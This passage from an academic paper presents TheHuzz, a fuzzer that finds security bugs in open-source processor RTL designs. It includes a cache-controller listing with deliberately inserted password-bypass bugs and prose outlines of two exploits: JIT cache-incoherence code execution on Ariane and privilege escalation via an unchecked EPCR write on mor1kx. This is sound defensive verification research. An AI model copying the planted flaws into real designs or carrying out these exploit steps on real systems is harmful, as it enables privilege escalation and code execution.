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RFUZZ [39] made the first attempt towards solving this chal-
lenge: it uses hardware simulators to compile the hardware
and applies a modified version of software fuzzer, AFL [40]
to fuzz the hardware. However, this fuzzer is limited in terms
of the scalability [30] and coverage (cf. Appendix B).
Problems with fuzzing hardware as software. Another strat-
egy of fuzzing hardware using software fuzzers is to convert a
HDL model into an equivalent software model using tools like
Verilator [70], and then apply software fuzzers to the resultant
software code [79]. Unfortunately, converting hardware into
software models poses its own set of challenges.

First, applying existing software fuzzers on software mod-
els of hardware designs is, in general, inefficient. The software
models of hardware designs need to account for properties
unique to the working of the hardware, like computing all
the register values for every clock cycle and bit manipula-
tion operations, and components such as controllers, system
bus, and queues—which makes the model computationally
expensive. Moreover, software fuzzers use program crashes
and instrumented memory safety checks to detect bugs in an
application; these concepts cannot be trivially applied to hard-
ware [79]. Instead, a well-defined specification to compare
against is needed to detect incorrect logic implementations,
timing violations, and unintended data flow or control flow.

Second, inferring actual hardware coverage from the gener-
ated software model is difficult. While software and hardware
line and edge/block coverage are comparable in some in-
stances [79], other forms of coverage may not be. A relatively
simple operation in a HDL, like bit manipulation, may be
significantly more complex in software. Conversely, a more
complex component in HDL, such as a multiplexer, could be
represented by a simple switch statement in software. Thus,
one has to account for the effects of conversion.

Third, the hardware community has developed its own stan-
dards, processes, and flows for using verification methodolo-
gies and tools over several decades of research [50, 7, 83].
Any new approach has to be compatible with the hardware
verification flow, as these methodologies have specialized data
structures and algorithms geared towards hardware models
and behaviors.

An open-source approach to solve the many challenges of
fuzzing the software model of hardware is performed in [79].
This technique derives equivalences between the coverage
metrics (e.g., line and FSM) used in hardware to that of soft-
ware (e.g., line and edge). While this approach is promising, it
does not scale to complex designs such as processors, which
is the focus of this work (cf. Section 7).

3.2 Creating a Hardware Fuzzer

A hardware fuzzer needs to take into account the nature and
requirements of hardware to improve efficiency. For example,
Syzkaller [22], which specializes in kernel-fuzzing, incorpo-
rates system call signatures to generate better test cases. A

hardware design fundamentally differs from any software pro-
gram in terms of inputs, language used, feedback information
available, and design complexity. Also, designing a hardware
fuzzer has its own set of unique challenges, which are pre-
sented below. Multiple attempts have been made in the recent
past towards building hardware fuzzers [39, 30, 51, 79] where
each of these challenges are approached differently.
Input generation. For a hardware fuzzer to be efficient and
effective, it should generate inputs in the format expected by
the target processor. Directly applying the input-generation
techniques used in software fuzzing is impossible as the in-
put formats differ: while many software fuzzers take input
files or a set of values assigned to a variable, the input to
hardware is mostly continuous without a defined length [79].
Further, inputs to hardware can be generated at various hard-
ware abstraction levels: architecture level, register-transfer
level (RTL), gate level, and transistor level. Each level also has
its own input representation, ranging from transaction packets,
over continuous-time digital signals, to continuous-time ana-
log signals. Hence, the major challenges in input generation
are to determine the suitable abstraction level to fuzz and the
input representation that maximizes the efficiency in finding
vulnerabilities [12, 50, 51, 39, 30, 79] .

Another important aspect is the continuous nature of the
hardware since it changes its state with every input (and/or
time). Also, multiple FSMs can run in parallel, and one or
more of them could enter in deadlock states, preventing the
hardware from receiving inputs from the fuzzer [12]. For
instance, a password checking module could be designed to
lock itself forever after one incorrect password entry unless
the system is reset. Hence, another crucial challenge is to
identify situations where the hardware simulation should be
stopped or reset before applying new inputs.

Finally, similar to how software fuzzers like syzkaller [22]
encode functional dependencies (e.g., of system calls), hard-
ware modules often need to be initialized to enable the fuzzer
to test further functionality, e.g., an AES encryption mod-
ule needs to be initialized with the key size and encryption
mode before testing the actual encryption with plaintext and
key. Inferring these functional dependencies is highly chal-
lenging, as such information is usually only available with a
well-defined formal specification [51, 79].
Feedback mechanism. Exploring complex targets, espe-
cially hardware, often forces fuzzers to generate tremendous
amounts of inputs, while making decisions like which muta-
tion technique to use, when to stop mutating an input, and how
to generate the seed inputs repeatedly. Rather than relying on
randomly-generated inputs alone, a more efficient way is to
analyze the impact of these parameters on the target processor
and adapt input generation accordingly as done in feedback-
guided fuzzing [65, 41]. Prior works [39, 30] addressed this
challenge using hardware-friendly coverage metrics but fail
to capture many hardware behaviors (cf. Appendix B).

Adapting software feedback mechanisms to hardware is
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Figure 1: Framework of TheHuzz.

difficult due to the differences in execution/simulation for soft-
ware and hardware [39, 30, 51, 79]. Instrumentation needs
to be added to the hardware design such that the activities
of different combinational and sequential structures, which
are critical to the functionality of the hardware, can be traced.
Although feedback-guided fuzzers have more potential to ex-
plore complex targets, capturing, analyzing, and processing
the feedback data is challenging [65, 41]. This issue will be-
come more profound in hardware since hardware designs are
slower to simulate. One way to speedup hardware fuzzing is to
use FPGA emulation, but instrumenting a design on an FPGA
is challenging [39, 30]. Hence, the feedback mechanism needs
to capture the complex characteristics of hardware.

Lastly, the performance of a fuzzer needs to be evaluated
on hardware designs comparable to what is used in practice.
However, unlike with software, commercial hardware designs
like Intel’s x86 processors do not have their source code
available. Hence, a key challenge is to find openly-available
designs that are reasonably modern and complex.

4 Design of Our Fuzzer, TheHuzz

TheHuzz is a novel hardware fuzzer that overcomes the chal-
lenges identified in Section 3.2. We directly fuzz the hardware
design instead of the software model, thereby eliminating the
need for hardware-to-software conversions and the associated
equivalency checks. To overcome the slowness of hardware
simulation, TheHuzz selects the optimal instructions and mu-
tation techniques to use. TheHuzz is easily integratable with
existing hardware design and verification methodologies—
thereby, easily adaptable by companies—as our approach
does not require any modification to the target processor and
utilizes existing hardware simulation tools and techniques. We
refer to the target processor as the design under test (DUT).
Our fuzzer generates instructions as inputs to the DUT since
we focus on software-exploitable processor vulnerabilities.

TheHuzz comprises three modules, as shown in Figure 1.
First, the seed generator starts the fuzzing process by gener-
ating an initial sequence of instructions (seeds or seed inputs).
Then, the stimulus generator generates new instruction se-
quences by mutating them, beginning with the seeds. These
inputs are passed to the simulated RTL design of the DUT,

Listing 1: Chisel code of the case study.
36 // combinational logic for vld register
37 vld :=debug_en |(flush |en) // Bug b2
38
39 // select signal for mux
40 val sel1 =Wire(Bool())
41 sel1 :=((pass ===ipass) |debug_en) // Bug b1
42
43 // flush logic
44 val state_f =Wire(UInt(3.W))
45 when (flush &en){
46 state_f :=FLUSH
47 } otherwise {
48 state_f :=state
49 }
50
51 state :=(!sel1 &state_f) |(sel1 &D_READ)

which returns coverage feedback to the stimulus generator
and trace information for bug detection. Finally, the bug de-
tection mechanism compares the RTL simulation trace with
that of a golden reference model (GRM) to find differences
in execution, and hence, find bugs.

In the following, before we explain the modules of The-
Huzz, we first analyze the intrinsic behaviors of designs at
the RTL, as TheHuzz targets such behaviors, and describe the
coverage metrics that capture those behaviors. Then, we de-
scribe the seed generator and stimulus generator of our fuzzer
in detail and how they interact. Finally, we detail how we
optimize the mutation engine and how the bugs are detected.

4.1 Hardware Design and Coverage Metrics

Hardware designs at RTL consist of combinational and se-
quential logic. Combinational logic is a time-independent
circuit with boolean logic gates (e.g., AND, OR, XOR) and
wires connecting them. Apart from building datapath units
like adders and multipliers, these logic gates are used to build
basic combinational structures like multiplexers (MUXes),
demultiplexers, encoders, and decoders, which are in turn
used in building complex blocks. Apart from combinational
gates, sequential logic also uses registers, which are usually
implemented using D flip-flops (DFFs). In the following, we
explain the effectiveness of our fuzzer in capturing hardware
behaviors over existing hardware fuzzers using a case study.
Case study. We now present a case study using a design with
two bugs inspired by CVEs. First, we explain the intended be-
havior and then the bugs. Then, we detail TheHuzz’s coverage
metrics and describe how they detect these bugs.

Consider a cache controller module—similar to the instruc-
tion cache controller of the Ariane processor [91]—shown in
Listing 1. As shown in Figure 3, the D_READ and the FLUSH
states determine the read operation during the debug mode
and the flush operation during the normal mode, respectively,
as listed in Lines 39–51†. The controller enters the FLUSH
state when there is a flush command and if the cache is en-
abled. The intended behavior of the FSM is that the read
operations in the debug mode are permitted only if the user

†For succinctness, we ignore the other states of the cache controller.
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Figure 2: Hardware design for Listing 1.

has inputted the correct password (Line 41). This protection
mechanism allows only authorized users to read the cache in
the debug mode. The cache controller sets the valid signal
(vld) based on the flush and debug requests issued to the
controller (Line 37 of Listing 1).

The electronic design automation (EDA) tools synthesize
this RTL code into an equivalent gate-level design shown in
Figure 2. The MUXes 1 and 3 select the next state. The
combinational logic 2 and 4 controls the state transitions.
The DFFs in 5 hold the current state. The EDA tools im-
plement Line 37 as combinational logic 6 . The DFFs in 7
register the inputs and outputs.

This design has two bugs: b1 and b2. Bug b1 (Line 41 in
Listing 1) is from HardFails [14], which has been used for the
Hack@DAC competitions, and is similar to CVE-2017-18293.
This bug is in the combinational logic 4 , where the debug
read operation is access-protected but the bug allows one to
perform the debug read operation illegally. This compromises
the security of the read operations as it allows users without
the correct password to read the cache. Bug b2 is similar to
CVE-2019-19602 and is in the combinational logic 6 that
drives the vld register (Line 37), allowing one to flush the
cache even when it is not enabled.

In 1 , all the inputs of the MUX and their correspond-
ing values on the select lines must be tested for correctness.
For this purpose, we use branch coverage, which tests each
branching construct (the when block of Line 45) for both
“when” and “otherwise” conditions.

In 2 , one should check that every input combination pro-
duces the correct output value. To this end, we use condition
coverage, which requires the condition block (i.e., the condi-

FLUSH D_READ

!sel1
sel1

OR !(flush AND en) 
sel1

flush AND en
AND !sel1

here, sel1 = (pass == ipass) | debug_en

Figure 3: Finite state machine (FSM) of the design in Figure 2.

tion (flush & en) in the when block of Line 45) to be tested
for all possible input values and not only a subset of values.

In 5 , the value of the 3-bit register can be one of the eight
possible values. We use FSM coverage of the state register
to check for all the eight values. This coverage captures the
different FSM states and also their transitions.

In 6 , all the input signals generating vld should be tested
for all possible values, similar to 2 . We use expression
coverage for this purpose which requires the combinational
block (i.e., the expression debug_en|(flush|en) in Line
37) to be tested for all possible input values. Furthermore,
expression coverage covers the select line of MUX 3 and
the combinational logic 4 that drives it as they are defined
using an expression in Line 51, unlike MUX 1 which is
defined as branch in Lines 45–49.

In 5 and 7 , the value of each DFF can be 1, 0, or float-
ing‡. We use toggle coverage of these DFFs to check for
toggling of their values among these three possibilities. Un-
like FSM coverage, toggle coverage covers all the DFFs in the
design. In addition, we also use statement coverage to ensure
every line of the RTL code is executed during simulation.

TheHuzz uses commercial industrial-standard tools—
Synopsys [74], ModelSim [68], Cadence [10]—to compile
the hardware and extract these coverage values. The semi-
conductor industry has been using these tools for the last few
decades, and its verification flow is built on these tools, thus
providing a promising way to obtain coverage [50].

TheHuzz detects both b1 and b2 using the expression cover-
age of 4 and 6 , respectively. The expression coverage veri-
fies that all the signals involved in the combinational logics
4 and 6 cover all possible values. One such combination

will trigger the bugs b1 and b2, resulting in an incorrect out-
put, which will be flagged as a mismatch. Thus, TheHuzz’s
coverage metrics aid in detecting bugs b1 and b2.

In contrast to TheHuzz, existing hardware fuzzers lose
hardware intrinsic behaviors (e.g., floating wires, signal tran-
sitions) while converting the target hardware into a soft-
ware model [79], operate only on the select signals of the
MUXes [39], operate only on the DFFs that determine the

‡Referred to as a high-impedance state or tristate and denoted as z. Such
floating wire-related bugs (CWE-1189) have compromised systems [14].
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select signals of the MUXes [30], or operate at the protocol
level [51]. Hence, the coverage used by existing fuzzers will
not be able to cover the bugs in 4 , 6 , and some DFFs in 7
including the bugs we inserted, b1 and b2 (cf. Appendix B).

4.2 Seed Generator
Given that we have discussed the various coverage metrics
to capture hardware behaviors, we now describe the seed
generation in more detail. The seed generator generates seed
inputs that run on the DUT and are used to generate further
inputs through mutation.
Seed inputs. TheHuzz’s goal is to detect software-exploitable
vulnerabilities in the RTL model of the processors. Proces-
sors execute instructions using the data from the instruction
memory. Hence, our fuzzer provides inputs at the instruction
set architecture (ISA) abstraction level by generating proces-
sor instructions. The seed inputs are data files containing a
sequence of instructions, which are loaded onto the memory.
Instruction generator generates the instructions for the seed
inputs from a set of valid instructions of the processor.
Input format. Each input consists of two types of instructions:
configuration instructions (CIs) and test instructions (TIs).
The CIs are needed to setup the baremetal environment, e.g.,
setting up the stack, exception handler table, and clearing the
general-purpose registers. This baremetal environment allows
TheHuzz to run instructions directly on the processor without
the need for an operating system. The TIs are generated by
the instruction generator, which are the actual instructions
used to fuzz the processor.

4.3 Stimulus Generator
The stimulus generator is responsible for mutating the current
inputs, generating new inputs, and discarding the underper-
forming inputs. Seed inputs are used to generate the first set
of new inputs. We mutate the instructions directly as binary
data instead of at a higher abstraction level such as assembly.
This allows us to mutate all the bits of the instruction based
on the mutation technique used. Thereby, we can test the pro-
cessor with out-of-spec inputs like illegal instructions (i.e.,
instructions not specified in the ISA) generated through mu-
tation of the opcode bits of the instruction. This allows us to
detect issues that other verification techniques may not have
detected, like the bug B3 in the Ariane and B8 in the or1200
processors, which cannot be detected with legal instructions.
Mutation engine performs the mutation operations on the
instructions. We mutate only the TIs since these are the in-
structions used to fuzz the processor. The CIs are not mutated
to ensure the correct initialization of the processor for fuzzing.
The mutation techniques used by our fuzzer can be classi-
fied into two types. The first type only mutates the data bits
keeping the opcode unchanged. These mutations increase the
coverage on different data paths that are close to each other.
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Figure 4: Optimization process used for TheHuzz.

To generate bug-triggering out-of-spec inputs, the second type
of mutation techniques mutates both the data and the opcode
bits. Mutating the opcode bits will create inputs with new
instruction sequences and help uncover different control paths
in the DUT. This will help generate illegal instructions to test
the processor with out-of-spec inputs. We employ AFL-style
mutation techniques as listed in Appendix A.

Every time new inputs are generated by the stimulus gener-
ator, the code coverage data of these inputs is used to discard
the underperforming inputs, thereby only retaining the inputs
that trigger new coverage points. This helps steer the fuzzer
towards discovering new coverage points quickly.

4.4 Optimization

We now propose an optimization for improving the efficiency
of a processor fuzzer, as shown in Figure 4. Instead of using
all the instructions and mutations, we optimally select the ones
that achieve the best coverage. To this end, we first profile
the individual instructions and mutations and formulate an
optimization problem, which returns the optimal weights for
each instruction-mutation (IM) pair.
Profiler characterizes the control and data flow paths explored
by each IM pair. TheHuzz generates the coverage values spe-
cific to each IM pair via hardware simulation.
Optimizer aims to minimize the number of IM pairs while
achieving the same amount of coverage as using all the IM
pairs. Let I and M be the sets of instructions and mutations,
respectively. Let P = I×M. C denotes the union of coverage
metrics such as statement, branch, expression, toggle, FSM,
and condition. The coverage from the profiling phase for each
IM pair is denoted by the indicator function D : P ×C 7→
{0,1}. Cd ⊆ C denotes the coverage points hit by an IM pair
during the profiling phase. The optimization problem is to
find the smallest subset of P , denoted as Q, that covers all the
coverage points identified during the profiling stage, Cd . The
optimizer returns the set Q that contains the optimal IM pairs.
TheHuzz uses this information to generate the weights for each
instruction-mutation pair w(I,M)(i,m) = I{i,m}∈Q, ∀ (i,m) ∈
P, where I is an indicator function. The seed generator uses the
weights, wI , to select instructions, and the stimulus generator
uses the weights, wM to select the mutation techniques for
each instruction and thereby, eliminating underperforming
instructions and mutations.
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4.5 Bug Detection

Software programs indicate bug triggers through crashes,
memory leaks, and exit status codes. However, hardware in-
trinsically cannot provide such feedback because it does not
crash or have memory leaks. Thus, as performed in traditional
hardware verification, we compare the outputs of GRMs and
the DUT for the inputs generated by the fuzzer. Any mismatch
event indicates the presence of a bug, which is then manually
analyzed to identify its cause.

5 Implementation

We implemented TheHuzz such that it is compatible with
traditional IC design and verification flow, while effectively
detecting security vulnerabilities. All the components are
implemented in Python unless specified otherwise. We used
CPLEX [31] for optimization.
Register-Transfer-Level simulation. We simulate the target
hardware using a leading industry tool, Synopsys VCS [74].
This tool supports a wide variety of hardware description
languages (HDLs) and different hardware models: RTL, gate
level, and transistor level. We wrote custom Python scripts
to process the logs of VCS to extract the coverage metrics—
statement, branch, toggle, expression, and condition. It also
generates instruction traces, which contain the sequence of
instructions executed along with the register or memory loca-
tions modified by each instruction and their updated values.
Thus, TheHuzz leverages existing hardware simulation tools
to instrument the HDLs.
Seed generator generates C programs that consist of config-
uration instructions (CIs) and test instructions (TIs). The CIs
configure a baremetal C environment on the processors; we
extract these CIs from the baremetal libraries of the corre-
sponding ISAs, e.g., the RISC-V tests repository [62]. The
TIs are the actual instructions used to fuzz the processor from
the initial state. Each seed input has 20 TIs; this number is
selected based on empirical observations before a random TI
leads to a deadlock. Events like exceptions or instructions like
branch, jump, system calls, and atomic instructions can cause
the control flow of the processor to jump to a different location
or even freeze for a large number of clock cycles, waiting for
resources (in the case of atomic instructions). The first half of
the TIs are generated uniformly from the instructions that are
less likely to trigger such events (e.g., arithmetic and logical
instructions). This maximizes the number of TIs executed by
the TheHuzz in each simulation. The other half of the TIs are
generated uniformly from all the instructions returned by the
optimizer. Thus, the processor is reset after the execution of
every 20 instructions and is simulated with new input. This
results in periodical initialization of the processor control flow
back to the location of the TIs. The GCC toolchain compiles
these C programs to generate the executable files which are
loaded onto the processor RAM and used as seeds.

Stimulus generator consists of the mutation and the feedback
engines. The mutation engine mutates the TIs using the AFL-
like mutations listed in Appendix A. The feedback engine uses
coverage logs for each mutated TI from the RTL simulation.
It retains the best performing instruction-mutation pairs and
discards the ones that do not improve the coverage.
Golden Reference Models (GRMs). We used spike ISA
emulator [62] as the GRM for Ariane and Rocket Core, and
or1ksim [57] as the GRM for mor1kx and or1200 processors.

6 Evaluation

We now describe the four open-source processors—Ariane,
mor1kx, or1200, and Rocket Core—used to evaluate our
fuzzer TheHuzz and present the evaluation results, along with
bugs detected (cf. Table 1) and the coverage. We compare The-
Huzz with another fuzzer DifuzzRTL [30] and two traditional
hardware verification techniques: random regression testing
and formal verification. The experiments are conducted on a
32-core Intel Xeon processor running at 2.6Ghz with 512GB
of RAM with CentOS Linux release 7.3.1611.

6.1 Evaluation Setup
With rich hardware-software interactions and complex hard-
ware components, processor designs provide a challenging
target for evaluating the potential of hardware fuzzers. While
testing commercial processors is appealing, their closed-
source nature makes register-transfer level (RTL) analysis
impossible. This is a challenge hardware researchers face, and
hence, most papers which evaluate their tool’s effectiveness
on processors use open-source designs. We have selected four
processors from two widely used open-source ISAs, Open-
RISC [57] and RISC-V [63]. All these processors can run a
modern Linux-based operating system.

Ariane (a.k.a. cva6 core) is a RISC-V based, 64-bit, 6-
stage, in-order processor, and supports a Unix-like operating
system [91]. mor1kx is a 32-bit OpenRISC based proces-
sor. From the three possible configurations, we selected the
6-stage Cappuccino configuration, as it is the most complex
design. Developers and the open-source community have eval-
uated this design for more than seven years. or1200 is a 32-bit
OpenRISC based processor. It is one of the first open-source
processors and is used for more than two decades [57]. Rocket
Core is a RISC-V based, 64-bit, 5-stage, in-order scalar proces-
sor, and supports a Unix-like operating system [5]. RISC-V
open-source processors are widely used in prior work in hard-
ware verification and security, as shown in Table 1, and have
proven to be effective replacements for commercial designs.

6.2 Bugs Detected
We now detail the vulnerabilities detected by TheHuzz. We
found eight new bugs. We map each bug to the relevant hard-
ware common weakness enumerations (CWEs), as listed in
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Table 1: Bugs detected by TheHuzz.

Processor Prior work
using the

design

Design size Bug description Location Coverage types CWE New
bug?

# instructions
to detect the bugLOC Coverage

points

Ariane [91]
ISA: RISC-V [63]
Design year: 2018
64-bit, 6-stage pipeline

[86, 69],
[18, 14],
[58]

2.07 ×104 3.42 ×105

B1: Incorrect implementation of logic to detect
the FENCE.I instruction. Decoder Branch CWE-440 ✓ 1.36 ×104

B2: Incorrect propagation of exception type in
instruction queue Frontend Toggle CWE-1202 ✗ 4.02 ×104

B3: Some illegal instructions can be executed Decode Condition CWE-1242 ✓ 1.81 ×106

B4: Failure to detect cache coherency violation Cache controller FSM CWE-1202 ✓ 1.72 ×105

mor1kx [57]
ISA: OpenRISC [57]
Design year: 2013
32-bit, 6-stage pipeline

[15, 93],
[38, 30] 2.21 ×104 4 ×104

B5: Incorrect implementation of the logic to
generate the carry flag ALU Expression CWE-1201 ✓ 20

B6: Read/write access checking not implemented
for privileged register Register file Condition CWE-1262 ✓ 4.46 ×105

B7: Incomplete implementation of EEAR
register write logic Register file Condition CWE-1199 ✓ 1.12 ×105

or1200 [57]
ISA: OpenRISC [57]
Design year: 2000
32-bit, 5-stage pipeline

[94, 24],
[27, 25],
[35, 88, 8]

3.16 ×104 3.90 ×104
B8: Incorrect forwarding logic for the GPR0 Register forwarding

Condition
and expression CWE-1281 ✗ 174

B9: Incomplete update logic of overflow bit for
MSB & MAC instructions ALU Toggle CWE-1201 ✓ 3.35 ×103

B10: Incorrect implementation of the logic to
generate the overflow flag ALU Expression CWE-1201 ✓ 2.21 ×104

Rocket Core [5]
ISA: RISC-V [63]
Design year:2016
32-bit, 5-stage pipeline

[30] 1.06 ×104 6.65 ×105 B11: Instruction retired count not increased
when EBREAK

Register file Condition CWE-1201 ✗ 776

Listing 2: Verilog code snippet for B1 in Ariane.
1 // Memory ordering instructions
2 riscv::OpcodeMiscMem: begin
3 instruction_o.fu =CSR;
4 instruction_o.rs1 ='0;
5 instruction_o.rs2 ='0;
6 instruction_o.rd ='0;
7 case (instr.stype.funct3)
8 // FENCE: Currently implemented as a whole DCache flush

↪→ boldly ignoring other things
9 3'b000: instruction_o.op =ariane_pkg::FENCE;

10 // FENCE.I
11 3'b001: begin
12 if (instr.instr[31:20] !='0)
13 illegal_instr =1'b1;
14 instruction_o.op =ariane_pkg::FENCE_I;
15 end
16 default: illegal_instr =1'b1;
17 endcase
18 if (instr.stype.rs1 !='0 ||instr.stype.imm0 !='0 ||instr.

↪→ instr[31:28] !='0)
19 illegal_instr =1'b1;
20 end

Table 1. We present bugs B1, B4, and B6 in detail as we ex-
ploit them in Section 6.3 and briefly describe the other bugs;
arXiv version [80] details the other bugs.

6.2.1 Bugs in Ariane Processor

Bug B1 is located in the decode stage of Ariane. According
to the RISC-V specification [63], the decoder should ignore
certain fields in a FENCE.I instruction, which enforces cache
coherence in the processor (e.g., by flushing the instruction
cache and instruction pipeline). It also ensures that the correct
instruction memory is used for execution when performing
memory sensitive operations (e.g., updating the instruction
memory). The bug is that the decoder does not ignore the
imm and rs1 fields and expects a value of 0 in these fields,
as seen in Lines 12 and 18 of Listing 2. This Ariane imple-
mentation declares valid instructions as illegal (Lines 13 and
19) due to this additional constraint on the imm and rs1 fields,
thus violating the specification. We detected this bug when

the fuzzer generated a FENCE.I instruction with a non-zero
value in the imm field. Ariane raised an exception saying that
the instruction is illegal, whereas spike successfully executed
the instruction, resulting in a mismatch§. Due to this bug,
failing-FENCE.I will not be executed, resulting in a poten-
tial violation of cache coherence. This bug is similar to the
expected behavior violation vulnerability, CWE-440 [48].

Bug B2 is in the instruction queue of the frontend stage of
Ariane. The bug is that a fixed exception is forwarded instead
of the actual exception. We detected this bug as a mismatch
in the value of a register that loads the exception type when
an exception occurs. Operating systems that assume that in-
struction access-faults are raised correctly will not behave
as expected, and triggering this bug may lead to undefined
(and possibly exploitable) behavior. Also, an incorrect excep-
tion handling might be executed, resulting in a memory and
storage vulnerability, CWE-1202 [48].

Bug B3 is that the decode stage does not correctly check
for certain illegal instructions. It was detected as a mismatch
when the fuzzer generated one such illegal instruction. Due
to this, any undocumented instruction of a certain value can
be executed on Ariane, resulting in an undocumented feature
vulnerability, CWE-1242 [48].

Bug B4 As per the RISC-V specification [63], when the in-
struction memory is modified, the software should handle
cache coherency using FENCE.I instruction. Failure to handle
cache coherency results in undefined behavior, wherein pro-
cessors may use stale data and incorrect execution of instruc-
tions [71]. When the fuzzer generated an input program that
modified the instruction memory but did not use a FENCE.I
instruction, TheHuzz detected a mismatch in the trace logs
of Ariane and spike. This mismatch could have been avoided

§We refer to these FENCE.I instructions that Ariane fails to detect as
failing-FENCE.I and the rest as the working-FENCE.I.
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if the RISC-V specification or the Ariane processor detected
violations of cache coherency in hardware. Due to this bug,
software running on Ariane could run into cache coherency
issues and remain undetected if the FENCE.I instruction is
used incorrectly, resulting in a memory and storage vulnera-
bility, CWE-1202 [48]. In Section 6.3.1 we use this bug and
bug B1 to successfully exploit a theoretically safe program.

6.2.2 Bugs in mor1kx Processor

Bug B5 is the inaccurate implementation of the carry flag
logic for subtract operations. The fuzzer generated inputs
that triggered this bug by mutating the data bits of subtract
instructions. This caused a mismatch in the value of the carry
flag between the RTL and golden reference model (GRM).
This bug can cause incorrect computations, including those
used in cryptographic functions, resulting in corruption and
compromise of the processor security (CWE-1201 [48]).

Bug B6 The register file stores, updates, and shares the value
of all the architectural registers. These registers include the
general- and special-purpose registers (GPRs and SPRs, re-
spectively). Read and write operations to the SPRs are re-
stricted based on the privilege mode of the processor, as per
the OpenRISC specification [57]. The Exception Program
Counter Register (EPCR) is an SPR that stores the address to
which the processor should return after handling an exception.
A user-level program should not be able to access this register.
The bug in mor1kx is that the register file does not check
for privilege mode access permissions when performing read
and write operations on EPCR. This bug was detected when
our fuzzer generated an instruction that tried to write into
EPCR from user privilege mode. Due to this bug, an attacker
can write into EPCR from user privilege mode and control the
return address of the processor after handling an exception
(CWE-1262 [48]). This bug can have severe security con-
sequences like privilege escalation, as demonstrated in our
mor1kx exploit in Section 6.3.2.

Bug B7. The register file in mor1kx does not allow one to
write into the Exception Effective Address Register (EEAR),
even for supervisor privilege mode. This bug is detected when
our fuzzer generated an instruction that tried to write into
EEAR from the supervisor privilege mode. This bug prevents
programs from updating EEAR, resulting in incorrect execu-
tions. Thus, it prevents software from correctly performing
exception handling. This bug is similar to CWE-1199 [48].

6.2.3 Bugs in or1200 Processor

Bug B8 is that the register forwarding logic forwards a non-
zero value for GPR0 if a previous instruction in the pipeline
writes to GPR0. We found this bug as a mismatch when the
fuzzer applied an ADD instruction to create a data hazard
for GPR0. This bug can result in incorrect computations since
GPR0 is frequently used by software to check for conditions.

An attacker can cause data hazards to obfuscate the behav-
ior of malware, e.g., by jumping to an offset computed by
an instruction that uses GPR0. This bug is similar to CWE-
1281 [48], where a sequence of processor instructions result
in unexpected behavior.

Bug B9 is that the overflow flag is not correctly calculated
for the multiply and subtract (MSB) and the multiply and
accumulate (MAC) instructions. This bug results in the failure
of the software programs to detect the overflow events. Thus
this bug is a core and compute issue vulnerability, CWE-
1201 [48], resulting in more software vulnerabilities.

Bug B10 is the incorrect overflow logic for the subtract in-
struction. The bug was detected when the fuzzer was mutating
data bits of subtract instruction. This bug also compromises
the security mechanisms relying on the overflow flag and is a
core and compute issue vulnerability, CWE-1201 [48].

6.2.4 Bugs in Rocket Core Processor

Bug B11 is that the instruction retired count does not increase
on an EBREAK instruction. It was detected when the fuzzer
executed the EBREAK instruction. TheHuzz was able to detect
the only bug, B11 reported by DifuzzRTL using only 776
instructions and is 6.7× faster than DifuzzRTL.

All the bugs except for B2, B8, and B11 are new bugs
detected by TheHuzz. B2 is fixed in the latest version of
Ariane. B8 is first reported in [93].

6.3 Case Study: Exploitability
We now present the two exploits we crafted to demonstrate
the security implications of the bugs found by TheHuzz. Both
attacks can be mounted from unprivileged software.

6.3.1 Ariane FENCE.I Exploit

The Ariane exploit leverages B1 and B4 to cause incoherence
in the instruction cache. As a result, in the contrived “safe”
just-in-time (JIT) compiler we developed to demonstrate this
bug, an attacker can generate inputs that selectively invalidate
cache lines containing old instructions. This program uses
an extension of the FENCE.I instruction (from the failing-
FENCE.I instructions) which should fall back to standard
fence behavior and flush the entire instruction cache as the
extension is not understood by spike or Ariane. For our threat
model, we assume that the attacker is aware of the use of an
extended FENCE.I instruction present in a target and is capa-
ble of loading and executing “safe” programs in the target’s
JIT compiler. An attacker first loads a region of executable
code (which does not contain a vulnerability) into the cache
by executing it. The attacker then overwrites the same region
of executable code with new instructions (which also does not
contain a vulnerability), then executes separate code which
jumps to instructions which align to cache lines the attacker
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Figure 5: Coverage analysis of random regression testing,
DifuzzRTL [30], and TheHuzz for the Rocket Core processor.

wishes to invalidate. After, they execute the original region
of executable code, at which point the behavior of spike and
Ariane diverge. In spike, the new instructions will be present
and will execute as expected with no vulnerabilities present.
This is because spike successfully identified the FENCE.I
instruction, but did not recognise its extension, and fell back
to flushing the entire cache. In Ariane, the old instructions
will be present; Ariane fails to recognise the FENCE.I in-
struction as it instead marks it as an illegal instruction, an
implementation which is non-compliant with the RISC-V
ISA. Because the cache lines were only invalidated in regions
selected by the attacker, the attacker is able to successfully re-
place bounds checks in the original program with effectively
nops, leading to a vulnerability which was neither present in
the old or the new JIT code. As a result, the attacker is able to
inject a stack overflow vulnerability and gain arbitrary code
execution. A more detailed description of the vulnerability,
exploit, ramifications, and threat model are presented in the
arXiv version [80].

6.3.2 mor1kx EPCR Register Exploit

The mor1kx exploit leverages the B6 to set the EPCR to point
to an attacker-controlled exploit function. An exception return
instruction is executed to mimic the return from an exception
event, causing the processor to update the program counter
(PC) and status register (SR) values with EPCR and exception
status register (ESR) values, respectively. The SR stores the
privilege level. By performing the exploit when the ESR stores
a higher-privilege level, execution jumps to the exploit func-
tion while overwriting the privilege level stored in SR. For
our threat model, we assume that the attacker already has
“foothold” access to a target machine and has the ability to
execute arbitrary instructions as a low-privilege user. In this
scenario, an attacker can perform privilege escalation in the
mor1kx processor. The arXiv version [80] explains this ex-
ploit in detail.

6.4 Coverage Analysis
Figure 5 shows the coverage achieved by random regression
testing, DifuzzRTL, and TheHuzz for the Rocket Core pro-

cessor. Each experiment is repeated 10 times. Even after 1M
instructions, both random regression testing and DifuzzRTL
did not improve their coverage beyond 2.5% than what they
collected after applying 300K instructions; on the other hand
TheHuzz’s coverage kept increasing. TheHuzz is slower in the
beginning than random regression testing as the fuzzer uses a
set of instructions until it cannot reach new coverage points;
in that case, it discards and selects new a set of instructions.
TheHuzz achieved the 404.1K coverage points achieved by
DifuzzRTL at 3.33× the speed of DifuzzRTL. TheHuzz and
random regression testing outperformed DifuzzRTL because
DifuzzRTL is guided by the control-register coverage, which
does not capture many hardware behaviors (cf. Appendix B).
The p-value from the Mann-Whitney U test [53] shows that
the result is statistically significant (p < 0.05) with a p-value
of 1.4e-4 for both random regression testing and DifuzzRTL.
The Vargha-Delaney A12 measure returned TheHuzz as the
best performing technique when compared with random re-
gression testing and DifuzzRTL.

The instrumentation overhead of DifuzzRTL is 18% in
terms of lines of Verilog code. TheHuzz does not instrument
Verilog code explicitly and instead relies on the commer-
cial tools which do not produce the overhead information.
Hence, the instrumentation overheads of these two fuzzers are
not comparable. The runtime overhead for TheHuzz (71%)
